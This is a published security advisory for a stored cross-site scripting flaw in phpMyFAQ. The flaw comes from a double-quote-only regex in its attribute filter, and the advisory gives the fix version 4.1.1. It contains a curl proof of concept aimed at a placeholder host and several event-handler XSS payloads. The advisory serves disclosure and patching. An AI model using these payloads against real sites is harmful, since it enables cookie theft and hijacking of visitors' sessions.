Advisory

GHSA-cv2g-8cj8-vgc7

Also known as: CVE-2026-34729

Summary

phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

Details

Summary
The sanitization pipeline for FAQ content is:

  1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities
  2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters
  3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match:

  • Attributes with single quotes: onerror='alert(1)'
  • Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
  • The regex requires ="..." (double quotes)
  • onerror=alert(1) has NO quotes → NOT matched
  • src=x has NO quotes → NOT matched
  • No attributes are found for removal
  1. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  2. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">:

  • The regex matches both src="x" and onerror="alert(1)"
  • src is in $keep → preserved
  • onerror is NOT in $keep → removed via str_replace()
  • Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "[email protected]"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-04-01 22:31 UTC
Modified
2026-04-06 17:36 UTC

Affected packages and fixes

phpmyfaq/phpmyfaq

Packagist · All systems

Affected

  • introduced 0, fixed 4.1.1 (ecosystem)

Fixed versions

4.1.1

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences